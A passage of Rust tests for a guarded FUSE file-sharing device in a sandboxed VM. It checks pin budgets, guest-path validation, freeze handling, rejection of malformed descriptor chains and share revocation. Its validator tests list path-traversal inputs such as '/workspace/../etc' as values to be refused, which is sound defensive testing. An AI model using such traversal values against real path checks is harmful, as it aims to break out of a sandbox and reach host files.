assert_eq!(MAX_HPQ_BYTES, 4096); ++ assert_eq!(RING_BYTES, 26_636); ++ assert_eq!(PINS_PER_SHARE, 4); ++ assert_eq!(PINNED_BYTES_PER_SHARE, 1_114_136); ++ assert_eq!(MAX_SHARES, 12); ++ use crate::workspace_disks::budget; ++ assert_eq!(budget(0), Some((3, 48, 8_388_608))); ++ assert_eq!(budget(1), Some((4, 52, 9_502_744))); ++ assert_eq!(budget(12), Some((15, 96, 21_758_240))); ++ assert_eq!(budget(13), None); ++} ++ ++#[test] ++fn guarded_fs_tags_and_guest_paths_are_checked() { ++ for good in [&b"a"[..], b"src-0", b"winter-guidance", b"0123456789abcdefghijklmnopqrstuv"] { ++ assert!(valid_tag(good), "{good:?}"); ++ } ++ for bad in [&b""[..], b"A", b"src_0", b"src 0", b"src/0", b"0123456789abcdefghijklmnopqrstuvw", "é".as_bytes(), b"src\n"] { ++ assert!(!valid_tag(bad), "{bad:?}"); ++ } ++ for good in [&b"/workspace/outputs"[..], b"/workspace/folders/g-1", b"/workspace/.winter/memory", b"/run/winter/shared-instructions"] { ++ assert!(valid_guest_path(good), "{good:?}"); ++ } ++ let long = format!("/workspace/{}", "a".repeat(245)); ++ assert!(!valid_guest_path(long.as_bytes())); ++ assert!(valid_guest_path(long[..255].as_bytes())); ++ for bad in [&b"/workspace"[..], b"/workspace/", b"/workspace//x", b"/workspace/x/", b"/workspace/./x", b"/workspace/../etc", b"/workspace/x/..", ++ b"/tmp/x", b"workspace/x", b"/run/winterx/a", b"/workspace/a b", b"/workspace/a\\b", b"/run/winter/"] { ++ assert!(!valid_guest_path(bad), "{bad:?}"); ++ } ++ assert!(guest_paths_overlap(b"/workspace/a", b"/workspace/a")); ++ assert!(guest_paths_overlap(b"/workspace/a", b"/workspace/a/b")); ++ assert!(guest_paths_overlap(b"/workspace/a/b", b"/workspace/a")); ++ assert!(!guest_paths_overlap(b"/workspace/a", b"/workspace/ab")); ++ assert!(!guest_paths_overlap(b"/workspace/a", b"/run/winter/a")); ++} ++ ++/// INIT, CREATE, WRITE and READ through the device: the reply lands in the guest's writable descriptors, the ++/// host file has the bytes, and every request pin is gone once its used entry is published. ++#[test] ++fn guarded_fs_a_fuse_round_trip_goes_through_the_bounce_copy() { ++ let mut rig = Rig::new(); ++ assert_eq!(rig.access.pinned_usage(), rig.ring_only()); ++ rig.init(); ++ let create = CreateIn { flags: 2, mode: 0o644, umask: 0, open_flags: 0 }; ++ let (error, body) = rig.call(Opcode::Create, ROOT_ID, &[create.as_slice(), &nul(b"file")], 4096); ++ assert_eq!(error, 0); ++ let open = *OpenOut::from_slice(&body[std::mem::size_of::()..][..std::mem::size_of::()]).unwrap(); ++ let data: Vec = (0..20_000u32).map(|i| (i % 251) as u8).collect(); ++ let write = WriteIn { fh: open.fh, offset: 0, size: data.len() as u32, ..Default::default() }; ++ let (error, body) = rig.call(Opcode::Write, ROOT_ID + 1, &[write.as_slice(), &data], 64); ++ assert_eq!(error, 0); ++ assert_eq!(WriteOut::from_slice(&body[..8]).unwrap().size, data.len() as u32); ++ assert_eq!(fs::read(rig.root.join("file")).unwrap(), data); ++ let read = ReadIn { fh: open.fh, offset: 0, size: data.len() as u32, ..Default::default() }; ++ let (error, body) = rig.call(Opcode::Read, ROOT_ID + 1, &[read.as_slice()], 1 << 20); ++ assert_eq!(error, 0); ++ assert_eq!(body, data); ++ assert_eq!(rig.access.pinned_usage(), rig.ring_only()); ++ assert_eq!(rig.access.active_leases(), 0); ++ assert_eq!(rig.step(REQ_INDEX), Ok(Step::Empty)); ++} ++ ++/// R14 freeze: the request's ranges stay pinned (excluded from reclaim) while the server works with no ++/// lease held, and a capture or completion that meets a frozen gate waits for the resume. ++#[test] ++fn guarded_fs_freeze_is_honoured_and_pins_cover_the_request_until_completion() { ++ let mut rig = Rig::new(); ++ rig.init(); ++ let out = rig.driver.request(REQ_INDEX, Opcode::Statfs as u32, ROOT_ID, &[], 128); ++ let lease = rig.access.begin(rig.port.device).unwrap(); ++ let captured = rig.port.capture(&lease, REQ_INDEX).unwrap().unwrap(); ++ drop(lease); ++ let frozen = rig.access.freeze(1, Duration::from_secs(1)).unwrap(); ++ assert_eq!(rig.access.active_leases(), 0, "no lease survives the capture"); ++ for range in captured.readable.iter().chain(&captured.writable) { ++ assert!(frozen.exclusions().contains(range), "{range:?} not pinned"); ++ } ++ assert!(frozen.exclusions().iter().any(|r| r.gpa == REQ_BASE && r.len == 16 * QUEUE_SIZE as u64), "ring pinned"); ++ frozen.resume().unwrap(); ++ let reply = rig.port.perform(rig.server.as_ref().unwrap(), &captured); ++ let frozen = rig.access.freeze(2, Duration::from_secs(1)).unwrap(); ++ assert!(matches!(rig.access.begin(rig.port.device), Err(Fault::Frozen))); ++ frozen.resume().unwrap(); ++ let lease = rig.access.begin(rig.port.device).unwrap(); ++ rig.port.complete(&lease, &captured, &reply).unwrap(); ++ drop(captured); ++ drop(lease); ++ assert_eq!(rig.driver.reply(out).0, 0); ++ assert_eq!(rig.access.pinned_usage(), rig.ring_only()); ++ ++ // The whole transaction waits on a frozen gate and completes after the resume. ++ rig.driver.request(REQ_INDEX, Opcode::Statfs as u32, ROOT_ID, &[], 128); ++ let probe = Driver::new(&rig.driver.mem); ++ let before = probe.used_idx(REQ_INDEX); ++ let frozen = rig.access.freeze(3, Duration::from_secs(1)).unwrap(); ++ let (tx, rx) = mpsc::channel(); ++ std::thread::scope(|scope| { ++ let worker = scope.spawn(|| { ++ let result = rig.step(REQ_INDEX); ++ tx.send(()).unwrap(); ++ result ++ }); ++ assert!(rx.recv_timeout(Duration::from_millis(50)).is_err(), "no progress while frozen"); ++ assert_eq!(probe.used_idx(REQ_INDEX), before, "no used entry while frozen"); ++ frozen.resume().unwrap(); ++ assert_eq!(worker.join().unwrap(), Ok(Step::Completed)); ++ }); ++ assert_eq!(probe.used_idx(REQ_INDEX), before.wrapping_add(1)); ++} ++ ++/// R14 freeze at completion: a freeze that closes the gate after the filesystem work holds the used entry ++/// back until the resume. ++#[test] ++fn guarded_fs_a_completion_that_meets_a_freeze_waits_for_the_resume() { ++ let mut rig = Rig::new(); ++ rig.init(); ++ let out = rig.driver.request(REQ_INDEX, Opcode::Statfs as u32, ROOT_ID, &[], 128); ++ let probe = Driver::new(&rig.driver.mem); ++ let before = probe.used_idx(REQ_INDEX); ++ let access = rig.access.clone(); ++ let calls = std::cell::Cell::new(0); ++ let resumer = std::cell::RefCell::new(None); ++ let resumed = Arc::new(AtomicBool::new(false)); ++ let result = service_next(&mut rig.port, rig.server.as_ref().unwrap(), REQ_INDEX, || { ++ calls.set(calls.get() + 1); ++ // The third check is the completion loop's: the server already ran, no lease is held. ++ if calls.get() == 3 { ++ assert_eq!(access.active_leases(), 0); ++ let frozen = access.freeze(9, Duration::from_secs(1)).unwrap(); ++ let flag = resumed.clone(); ++ *resumer.borrow_mut() = Some(std::thread::spawn(move || { ++ std::thread::sleep(Duration::from_millis(50)); ++ flag.store(true, Ordering::SeqCst); ++ frozen.resume().unwrap(); ++ })); ++ } ++ false ++ }); ++ assert_eq!(result, Ok(Step::Completed)); ++ assert!(resumed.load(Ordering::SeqCst), "the used entry waited for the resume"); ++ resumer.into_inner().unwrap().join().unwrap(); ++ assert_eq!(probe.used_idx(REQ_INDEX), before.wrapping_add(1)); ++ assert_eq!(rig.driver.reply(out).0, 0); ++} ++ ++/// R14: a chain over `max_pages + 4` descriptors or over 1,048,576 + 8,192 bytes (4,096 on the high-priority ++/// queue) is refused before anything is pinned; a chain exactly at either bound is accepted. ++#[test] ++fn guarded_fs_over_long_or_over_large_chains_are_refused_before_pinning() { ++ let fresh = || { ++ let mut rig = Rig::new(); ++ rig.init(); ++ rig ++ }; ++ let capture = |rig: &mut Rig, index: usize| { ++ let lease = rig.access.begin(rig.port.device).unwrap(); ++ rig.port.capture(&lease, index).map(|c| c.map(|c| (c.readable.len() + c.writable.len(), total(&c.readable) + total(&c.writable)))) ++ }; ++ // 261 descriptors of 64 bytes, well under the byte bound. ++ let mut rig = fresh(); ++ let base = rig.driver.buffer(64 * 261); ++ let chain: Vec<_> = (0..261u64).map(|i| (base + 64 * i, 64, i >= 200)).collect(); ++ rig.driver.push_raw(REQ_INDEX, &chain, 0); ++ assert_eq!(capture(&mut rig, REQ_INDEX).err(), Some(Fault::Limit)); ++ assert_eq!(rig.access.pinned_usage(), rig.ring_only(), "nothing pinned"); ++ // Exactly 260 descriptors and exactly the byte bound: the shape of a 1 MiB WRITE. ++ let mut rig = fresh(); ++ let chain = max_chain(&mut rig.driver); ++ rig.driver.push_raw(REQ_INDEX, &chain, 0); ++ assert_eq!(capture(&mut rig, REQ_INDEX), Ok(Some((260, MAX_CHAIN_BYTES)))); ++ // One byte more. ++ let mut rig = fresh(); ++ let mut chain = max_chain(&mut rig.driver); ++ chain.last_mut().unwrap().1 += 1; ++ rig.driver.push_raw(REQ_INDEX, &chain, 0); ++ assert_eq!(capture(&mut rig, REQ_INDEX).err(), Some(Fault::Limit)); ++ assert_eq!(rig.access.pinned_usage(), rig.ring_only(), "nothing pinned"); ++ // The high-priority queue: 4,096 bytes, then 4,097. ++ for (bytes, accepted) in [(4096u32, true), (4097, false)] { ++ let mut rig = fresh(); ++ let at = rig.driver.buffer(u64::from(bytes)); ++ rig.driver.batch_forget(at, bytes); ++ rig.driver.push_raw(HPQ_INDEX, &[(at, 40, false), (at + 40, bytes - 40, false)], 0); ++ let result = capture(&mut rig, HPQ_INDEX); ++ if accepted { ++ assert_eq!(result, Ok(Some((2, 4096)))); ++ } else { ++ assert_eq!(result.err(), Some(Fault::Limit)); ++ assert_eq!(rig.access.pinned_usage(), rig.ring_only()); ++ } ++ } ++} ++ ++/// 260 descriptors carrying exactly `MAX_CHAIN_BYTES`: the in header and WRITE arguments, 256 pages, the out ++/// header and the rest of the reply. ++fn max_chain(driver: &mut Driver) -> Vec<(u64, u32, bool)> { ++ let base = driver.buffer(MAX_CHAIN_BYTES); ++ let mut chain = vec![(base, 40, false), (base + 40, 40, false)]; ++ let mut at = base + 80; ++ for _ in 0..256 { ++ chain.push((at, 4096, false)); ++ at += 4096; ++ } ++ let rest = (MAX_CHAIN_BYTES - 80 - 256 * 4096 - 16) as u32; ++ chain.push((at, 16, true)); ++ chain.push((at + 16, rest, true)); ++ assert_eq!(chain.len(), MAX_CHAIN_DESCRIPTORS); ++ chain ++} ++ ++/// Malformed chains are terminal and never pinned: an indirect descriptor, a readable descriptor after a ++/// writable one, nothing to read, a buffer outside guest memory. ++#[test] ++fn guarded_fs_malformed_chains_are_refused_before_pinning() { ++ for case in 0..4 { ++ let mut rig = Rig::new(); ++ let at = rig.driver.buffer(4096); ++ let (chain, extra): (Vec<(u64, u32, bool)>, u16) = match case { ++ 0 => (vec![(at, 64, false)], 4), ++ 1 => (vec![(at, 64, false), (at + 64, 64, true), (at + 128, 64, false)], 0), ++ 2 => (vec![(at, 64, true)], 0), ++ _ => (vec![(MEM as u64 - 32, 64, false)], 0), ++ }; ++ rig.driver.push_raw(REQ_INDEX, &chain, extra); ++ assert_eq!(rig.step(REQ_INDEX), Err(Fault::InvalidRange), "case {case}"); ++ assert_eq!(rig.access.pinned_usage(), rig.ring_only(), "case {case}"); ++ assert_eq!(rig.driver.used_idx(REQ_INDEX), 0, "case {case}"); ++ } ++} ++ ++/// A chain whose writable area cannot hold the 16-byte out header is a terminal fault before anything is ++/// pinned, on both queues: READ, READDIR and READDIRPLUS with no writable byte and with 15 never reach the ++/// stock handlers' split of the header (which unwraps). A FORGET and a BATCH_FORGET with no writable ++/// descriptor on the high-priority queue are still served; on the request queue they fault, and so does a ++/// FORGET with 15 writable bytes on the high-priority queue. ++#[test] ++fn guarded_fs_a_reply_area_under_the_out_header_is_refused_before_pinning() { ++ let read = ReadIn { fh: 0, offset: 0, size: 4096, read_flags: 0, lock_owner: 0, flags: 0, padding: 0 }; ++ for opcode in [Opcode::Read, Opcode::Readdir, Opcode::Readdirplus] { ++ for index in [REQ_INDEX, HPQ_INDEX] { ++ for writable in [0u32, 15] { ++ let mut rig = Rig::new(); ++ rig.init(); ++ let before = rig.driver.used_idx(index); ++ let header = InHeader { len: (40 + std::mem::size_of::()) as u32, opcode: opcode as u32, unique: 9, nodeid: ROOT_ID, uid: 501, gid: 20, pid: 1, padding: 0 }; ++ let mut request = header.as_slice().to_vec(); ++ request.extend_from_slice(read.as_slice()); ++ let at = rig.driver.buffer(request.len() as u64 + 16); ++ rig.driver.mem.write_slice(&request, GuestAddress(at)).unwrap(); ++ let mut chain = vec![(at, request.len() as u32, false)]; ++ if writable > 0 { ++ chain.push((at + request.len() as u64, writable, true)); ++ } ++ rig.driver.push_raw(index, &chain, 0); ++ assert_eq!(rig.step(index), Err(Fault::InvalidRange), "{opcode:?} queue {index} writable {writable}"); ++ assert_eq!(rig.access.pinned_usage(), rig.ring_only(), "nothing pinned"); ++ assert_eq!(rig.driver.used_idx(index), before, "nothing published"); ++ } ++ } ++ } ++ let forget = ForgetIn { nlookup: 1 }; ++ for (opcode, index, writable, served) in [ ++ (Opcode::Forget, HPQ_INDEX, 0u32, true), ++ (Opcode::BatchForget, HPQ_INDEX, 0, true), ++ (Opcode::Forget, HPQ_INDEX, 15, false), ++ (Opcode::Forget, REQ_INDEX, 0, false), ++ (Opcode::BatchForget, REQ_INDEX, 0, false), ++ ] { ++ let mut rig = Rig::new(); ++ rig.init(); ++ let before = rig.driver.used_idx(index); ++ let header = InHeader { len: 48, opcode: opcode as u32, unique: 0, nodeid: ROOT_ID, uid: 0, gid: 0, pid: 0, padding: 0 }; ++ let mut request = header.as_slice().to_vec(); ++ request.extend_from_slice(if matches!(opcode, Opcode::Forget) { forget.as_slice() } else { &[0u8; 8] }); ++ let at = rig.driver.buffer(64); ++ rig.driver.mem.write_slice(&request, GuestAddress(at)).unwrap(); ++ let mut chain = vec![(at, 48, false)]; ++ if writable > 0 { ++ chain.push((at + 48, writable, true)); ++ } ++ rig.driver.push_raw(index, &chain, 0); ++ if served { ++ assert_eq!(rig.step(index), Ok(Step::Completed), "{opcode:?}"); ++ assert_eq!(rig.driver.used_idx(index), before.wrapping_add(1), "{opcode:?}"); ++ assert_eq!(rig.driver.used(index, before).1, 0, "{opcode:?}: no reply bytes"); ++ } else { ++ assert_eq!(rig.step(index), Err(Fault::InvalidRange), "{opcode:?} queue {index} writable {writable}"); ++ assert_eq!(rig.driver.used_idx(index), before, "nothing published"); ++ } ++ assert_eq!(rig.access.pinned_usage(), rig.ring_only()); ++ } ++} ++ ++/// On the device thread, a READ with no writable byte takes the exit-77 path: the worker stops the gate ++/// and returns, and the thread never panics. ++#[test] ++fn guarded_fs_a_read_with_no_reply_area_stops_the_gate_without_a_panic() { ++ let tree = TempTree::new(); ++ let share = share(&tree, "src-3", ShareEvents::new()); ++ let access = Access::new(4, 52, 9_502_744); ++ let device = access.register(3).unwrap(); ++ let mem = GuestMemoryMmap::from_ranges(&[(GuestAddress(0), MEM)]).unwrap(); ++ let mut driver = Driver::new(&mem); ++ let (queues, kicks) = device_queues(); ++ let thread = GuardedFsWorker::new(queues, mem, access.clone(), device, share.clone(), EventFd::new(EFD_NONBLOCK).unwrap(), Arc::new(AtomicBool::new(false))).unwrap().run(|| panic!("no completion")); ++ let read = ReadIn { fh: 0, offset: 0, size: 4096, read_flags: 0, lock_owner: 0, flags: 0, padding: 0 }; ++ let header = InHeader { len: (40 + std::mem::size_of::()) as u32, opcode: Opcode::Read as u32, unique: 9, nodeid: ROOT_ID, uid: 501, gid: 20, pid: 1, padding: 0 }; ++ let mut request = header.as_slice().to_vec(); ++ request.extend_from_slice(read.as_slice()); ++ let at = driver.buffer(request.len() as u64); ++ driver.mem.write_slice(&request, GuestAddress(at)).unwrap(); ++ driver.push_raw(REQ_INDEX, &[(at, request.len() as u32, false)], 0); ++ kicks[REQ_INDEX].write(1).unwrap(); ++ thread.join().expect("the device thread does not panic"); ++ assert!(access.stopped(), "the exit-77 path"); ++ assert_eq!(share.idle_descriptors(), Some(1), "the server is back in its slot"); ++} ++ ++/// A writable range outside guest memory is refused at capture, before the server touches the host: the ++/// CREATE never happens. ++#[test] ++fn guarded_fs_a_reply_range_outside_guest_memory_is_refused_before_any_host_work() { ++ let mut rig = Rig::new(); ++ rig.init(); ++ let create = CreateIn { flags: 2, mode: 0o644, umask: 0, open_flags: 0 }; ++ let name = nul(b"never"); ++ let header = InHeader { len: (40 + std::mem::size_of::() + name.len()) as u32, opcode: Opcode::Create as u32, unique: 9, nodeid: ROOT_ID, uid: 501, gid: 20, pid: 1, padding: 0 }; ++ let mut request = header.as_slice().to_vec(); ++ request.extend_from_slice(create.as_slice()); ++ request.extend_from_slice(&name); ++ let at = rig.driver.buffer(request.len() as u64); ++ rig.driver.mem.write_slice(&request, GuestAddress(at)).unwrap(); ++ rig.driver.push_raw(REQ_INDEX, &[(at, request.len() as u32, false), (MEM as u64 - 16, 4096, true)], 0); ++ assert_eq!(rig.step(REQ_INDEX), Err(Fault::InvalidRange)); ++ assert!(!rig.root.join("never").exists(), "no host work for a refused chain"); ++ assert_eq!(rig.access.pinned_usage(), rig.ring_only()); ++} ++ ++/// R14, the budget computed: with the three workspace devices at their structural maximum (12 pins, ++/// 4,289,930 bytes), S share devices hold their rings and a maximum chain on both queues at once, and the ++/// budget built for that S admits every pin. ++#[test] ++fn guarded_fs_the_budget_holds_s_devices_at_their_chain_maximum_at_once() { ++ for shares in [1usize, 12] { ++ let (max_devices, max_pins, max_bytes) = crate::workspace_disks::budget(shares).unwrap(); ++ let access = Access::new(max_devices, max_pins, max_bytes); ++ let mut held = Vec::new(); ++ for id in 0..3u64 { ++ let device = access.register(id).unwrap(); ++ let lease = access.begin(device).unwrap(); ++ for pin in 0..4u64 { ++ let len = if id == 2 && pin == 3 { STRUCTURAL_BYTES - 11 * 4096 } else { 4096 }; ++ held.push(lease.pin(&[Range { gpa: 0x1000 * (1 + 4 * id + pin), len }]).unwrap()); ++ } ++ } ++ assert_eq!(access.pinned_usage(), (STRUCTURAL_PINS, STRUCTURAL_BYTES)); ++ let refusals = crate::cowork_counters::pin_snapshot().budget_refusals; ++ let mut ports = Vec::new(); ++ let mut captured = Vec::new(); ++ for share in 0..shares as u64 { ++ let device = access.register(crate::workspace_disks::FIRST_SHARE_DEVICE + share).unwrap(); ++ let mem = GuestMemoryMmap::from_ranges(&[(GuestAddress(0), MEM)]).unwrap(); ++ let mut driver = Driver::new(&mem); ++ let chain = max_chain(&mut driver); ++ driver.push_raw(REQ_INDEX, &chain, 0); ++ let at = driver.buffer(4096); ++ driver.batch_forget(at, 4096); ++ driver.push_raw(HPQ_INDEX, &[(at, 40, false), (at + 40, 4056, false)], 0); ++ let mut port = FsPort::new(mem, vec![queue(HPQ_BASE), queue(REQ_BASE)], access.clone(), device).unwrap(); ++ let lease = access.begin(device).unwrap(); ++ captured.push(port.capture(&lease, REQ_INDEX).unwrap().unwrap()); ++ captured.push(port.capture(&lease, HPQ_INDEX).unwrap().unwrap()); ++ drop(lease); ++ ports.push(port); ++ } ++ let usage = access.pinned_usage(); ++ assert_eq!(usage, (STRUCTURAL_PINS + PINS_PER_SHARE * shares, STRUCTURAL_BYTES + PINNED_BYTES_PER_SHARE * shares as u64)); ++ assert!(usage.0 <= max_pins && usage.1 <= max_bytes, "S = {shares}: {usage:?} over the budget"); ++ assert_eq!(crate::cowork_counters::pin_snapshot().budget_refusals, refusals, "no pin refused"); ++ // The headroom is today's: 36 pins and 8 MiB less the workspace maximum. ++ assert_eq!((max_pins - usage.0, max_bytes - usage.1), (48 - STRUCTURAL_PINS, 8_388_608 - STRUCTURAL_BYTES)); ++ // A device too many does not fit: the budget is computed from the actual S. ++ assert_eq!(access.register(crate::workspace_disks::FIRST_SHARE_DEVICE + shares as u64).err(), Some(Fault::Limit)); ++ drop(captured); ++ drop(ports); ++ drop(held); ++ assert_eq!(access.pinned_usage(), (0, 0)); ++ } ++} ++ ++/// R11 while no device thread runs: the revoker closes the share under the slot lock and reports once. ++#[test] ++fn guarded_fs_an_idle_share_is_closed_at_once_and_reported_once() { ++ let tree = TempTree::new(); ++ let events = ShareEvents::new(); ++ let share = share(&tree, "src-0", events.clone()); ++ assert_eq!(share.idle_descriptors(), Some(1), "the root"); ++ share.revoke(); ++ assert!(share.is_revoked()); ++ assert_eq!(share.idle_descriptors(), Some(0)); ++ assert_eq!(events.next(Duration::ZERO), Some(ShareEvent::Revoked { tag: "src-0".into() })); ++ share.revoke(); ++ assert_eq!(events.next(Duration::from_millis(20)), None, "a repeat reports nothing"); ++} ++ ++fn open_fd_count() -> usize { ++ fs::read_dir("/dev/fd").unwrap().count() ++} ++ ++fn device_queues() -> (Vec, Vec>) { ++ let events: Vec<_> = (0..2).map(|_| Arc::new(EventFd::new(EFD_NONBLOCK).unwrap())).collect(); ++ (vec![DeviceQueue::new(queue(HPQ_BASE), events[0].clone()), DeviceQueue::new(queue(REQ_BASE), events[1].clone())], events) ++} ++ ++/// R11 on a running device thread: the revoker only sets the flag and writes the request queue event; the ++/// idle device thread wakes, closes its own descriptors and reports; every later request answers EACCES. ++/// R13: a stop joins the thread, which hands the (closed) server back to the share. ++#[test] ++fn guarded_fs_a_running_device_thread_closes_its_own_descriptors_when_woken() { ++ let tree = TempTree::new(); ++ let events = ShareEvents::new(); ++ let share = share(&tree, "winter-memory", events.clone()); ++ let access = Access::new(4, 52, 9_502_744); ++ let device = access.register(3).unwrap(); ++ let mem = GuestMemoryMmap::from_ranges(&[(GuestAddress(0), MEM)]).unwrap(); ++ let mut driver = Driver::new(&mem); ++ let (queues, kicks) = device_queues(); ++ let stop_fd = EventFd::new(EFD_NONBLOCK).unwrap(); ++ let stop = Arc::new(AtomicBool::new(false)); ++ let worker = GuardedFsWorker::new(queues, mem.clone(), access.clone(), device, share.clone(), stop_fd.try_clone().unwrap(), stop.clone()).unwrap(); ++ assert_eq!(share.idle_descriptors(), None, "the device thread holds the server"); ++ let (done_tx, done) = mpsc::channel(); ++ let thread = worker.run(move || done_tx.send(()).unwrap()); ++ let init = InitInCompat { major: KERNEL_VERSION, minor: KERNEL_MINOR_VERSION, max_readahead: 1 << 17, flags: 0 }; ++ let out = driver.request(REQ_INDEX, Opcode::Init as u32, 0, &[init.as_slice()], 256); ++ kicks[REQ_INDEX].write(1).unwrap(); ++ done.recv_timeout(Duration::from_secs(2)).unwrap(); ++ assert_eq!(driver.reply(out).0, 0); ++ let create = CreateIn { flags: 2, mode: 0o644, umask: 0, open_flags: 0 }; ++ let out = driver.request(REQ_INDEX, Opcode::Create as u32, ROOT_ID, &[create.as_slice(), &nul(b"kept-open")], 4096); ++ kicks[REQ_INDEX].write(1).unwrap(); ++ done.recv_timeout(Duration::from_secs(2)).unwrap(); ++ assert_eq!(driver.reply(out).0, 0); ++ ++ let open = open_fd_count(); ++ share.revoke(); ++ assert_eq!(events.next(Duration::from_secs(2)), Some(ShareEvent::Revoked { tag: "winter-memory".into() }), "reported after the device thread closed"); ++ assert!(open_fd_count() + 2 <= open, "the root and the open handle were closed before the report"); ++ let out = driver.request(REQ_INDEX, Opcode::Getattr as u32, ROOT_ID, &[GetattrIn::default().as_slice()], 256); ++ kicks[REQ_INDEX].write(1).unwrap(); ++ done.recv_timeout(Duration::from_secs(2)).unwrap(); ++ assert_eq!(driver.reply(out).0, libc::EACCES); ++ assert!(tree.0.join("kept-open").exists(), "revocation removes nothing"); ++ ++ stop.store(true, Ordering::Release); ++ stop_fd.write(1).unwrap(); ++ thread.join().unwrap(); ++ assert_eq!(share.idle_descriptors(), Some(0), "every descriptor closed, the server back in its slot"); ++ assert_eq!(access.pinned_usage(), (0, 0), "the ring pins go with the worker"); ++ assert_eq!(events.next(Duration::from_millis(20)), None, "reported once"); ++} ++ ++/// R11 at a request boundary: a revocation that arrives while the device thread is draining its queue ++/// closes the descriptors before the next request is captured. ++#[test] ++fn guarded_fs_a_revocation_mid_drain_closes_at_the_next_request_boundary() { ++ let tree = TempTree::new(); ++ let events = ShareEvents::new(); ++ let share = share(&tree, "src-1", events.clone()); ++ let access = Access::new(4, 52, 9_502_744); ++ let device = access.register(3).unwrap(); ++ let mem = GuestMemoryMmap::from_ranges(&[(GuestAddress(0), MEM)]).unwrap(); ++ let mut driver = Driver::new(&mem); ++ let (queues, _kicks) = device_queues(); ++ let mut worker = GuardedFsWorker::new(queues, mem.clone(), access.clone(), device, share.clone(), EventFd::new(EFD_NONBLOCK).unwrap(), Arc::new(AtomicBool::new(false))).unwrap(); ++ let init = InitInCompat { major: KERNEL_VERSION, minor: KERNEL_MINOR_VERSION, max_readahead: 1 << 17, flags: 0 }; ++ let first = driver.request(REQ_INDEX, Opcode::Init as u32, 0, &[init.as_slice()], 256); ++ let second = driver.request(REQ_INDEX, Opcode::Statfs as u32, ROOT_ID, &[], 128); ++ let revoker = share.clone(); ++ let mut completions = 0; ++ let mut completed = || { ++ completions += 1; ++ if completions == 1 { ++ revoker.revoke(); ++ } ++ }; ++ assert_eq!(worker.drain(REQ_INDEX, &mut completed), Ok(false)); ++ assert_eq!(completions, 2); ++ assert_eq!(driver.reply(first).0, 0); ++ assert_eq!(driver.reply(second).0, libc::EACCES); ++ assert_eq!(events.next(Duration::ZERO), Some(ShareEvent::Revoked { tag: "src-1".into() }), "closed at the boundary, by the draining thread"); ++ assert_eq!(worker.server.as_ref().unwrap().confined_fs().open_descriptors(), 0); ++} ++ ++/// The stop path of a running device: a stop joins the thread with the server returned, open, to the share. ++#[test] ++fn guarded_fs_a_stop_joins_the_worker_and_returns_the_server() { ++ let tree = TempTree::new(); ++ let share = share(&tree, "winter-guidance", ShareEvents::new()); ++ let access = Access::new(4, 52, 9_502_744); ++ let device = access.register(3).unwrap(); ++ let mem = GuestMemoryMmap::from_ranges(&[(GuestAddress(0), MEM)]).unwrap(); ++ let (queues, _kicks) = device_queues(); ++ let stop_fd = EventFd::new(EFD_NONBLOCK).unwrap(); ++ let stop = Arc::new(AtomicBool::new(false)); ++ let thread = GuardedFsWorker::new(queues, mem, access.clone(), device, share.clone(), stop_fd.try_clone().unwrap(), stop.clone()).unwrap().run(|| {}); ++ std::thread::sleep(Duration::from_millis(20)); ++ assert_eq!(share.idle_descriptors(), None); ++ stop.store(true, Ordering::Release); ++ stop_fd.write(1).unwrap(); ++ thread.join().unwrap(); ++ assert_eq!(share.idle_descriptors(), Some(1), "the root is still open: a stop is not a revocation"); ++ assert!(stop_fd.read().is_err(), "the worker drained its stop event"); ++ assert_eq!(access.pinned_usage(), (0, 0)); ++ assert!(!access.stopped()); ++} ++ ++/// A terminal fault on the device thread stops the reclaim gate (the worker then exits 77). ++#[test] ++fn guarded_fs_a_terminal_fault_stops_the_gate() { ++ let tree = TempTree::new(); ++ let share = share(&tree, "src-2", ShareEvents::new()); ++ let access = Access::new(4, 52, 9_502_744); ++ let device = access.register(3).unwrap(); ++ let mem = GuestMemoryMmap::from_ranges(&[(GuestAddress(0), MEM)]).unwrap(); ++ let mut driver = Driver::new(&mem); ++ let (queues, kicks) = device_queues(); ++ let thread = GuardedFsWorker::new(queues, mem, access.clone(), device, share.clone(), EventFd::new(EFD_NONBLOCK).unwrap(), Arc::new(AtomicBool::new(false))).unwrap().run(|| panic!("no completion")); ++ let at = driver.buffer(64); ++ driver.push_raw(REQ_INDEX, &[(at, 64, false)], 4); ++ kicks[REQ_INDEX].write(1).unwrap(); ++ thread.join().unwrap(); ++ assert!(access.stopped()); ++ assert_eq!(share.idle_descriptors(), Some(1), "the server is back in its slot"); ++} ++ ++#[test] ++fn guarded_fs_notices_are_queued_once_per_tag_and_kind() { ++ let tree = TempTree::new(); ++ let events = ShareEvents::new(); ++ let first = share(&tree, "src-3", events.clone()); ++ let sink = first.notices(); ++ sink.push(NoticeKind::Envrc); ++ sink.push(NoticeKind::Envrc); ++ sink.push(NoticeKind::GitProtected); ++ first.forward_notices(); ++ first.revoke(); ++ first.revoke(); ++ sink.push(NoticeKind::GitProtected); ++ first.forward_notices(); ++ let drained: Vec<_> = std::iter::from_fn(|| events.next(Duration::ZERO)).collect(); ++ assert_eq!(drained, vec![ ++ ShareEvent::Notice { tag: "src-3".into(), kind: NoticeKind::Envrc }, ++ ShareEvent::Notice { tag: "src-3".into(), kind: NoticeKind::GitProtected }, ++ ShareEvent::Revoked { tag: "src-3".into() }, ++ ]); ++ assert_eq!(NoticeKind::ALL.map(notice_number), [6, 1, 2, 3, 4, 5]); ++ // The queue bounds itself whatever a sink hands it: one event per tag and kind, one revocation per tag. ++ let bounded = ShareEvents::new(); ++ for _ in 0..3 { ++ bounded.push("src-9", Some(NoticeKind::Envrc)); ++ bounded.push("src-9", None); ++ } ++ assert_eq!(std::iter::from_fn(|| bounded.next(Duration::ZERO)).count(), 2); ++ // A waiting drain wakes for an event forwarded from another thread. ++ let waiter = events.clone(); ++ let wait = std::thread::spawn(move || waiter.next(Duration::from_secs(2))); ++ std::thread::sleep(Duration::from_millis(20)); ++ sink.push(NoticeKind::IdeaProject); ++ first.forward_notices(); ++ assert_eq!(wait.join().unwrap(), Some(ShareEvent::Notice { tag: "src-3".into(), kind: NoticeKind::IdeaProject })); ++} ++ ++/// The confined server's R15 notices reach the share-event queue through the device: an R15 refusal and a ++/// write to a watched name, served by the device's drain, each come out once. ++#[test] ++fn guarded_fs_r15_notices_drain_through_the_device_once_each() { ++ let tree = TempTree::new(); ++ let events = ShareEvents::new(); ++ let root = OwnedFd::from(fs::File::open(&tree.0).unwrap()); ++ let flags = ShareFlags { read_only: false, winter_share: false, folder_rules: true }; ++ let share = ShareControl::new("src-4", ConfinedConfig { root, flags, guest_path: CString::new("/workspace/folders/g4").unwrap() }, events.clone()).unwrap(); ++ let access = 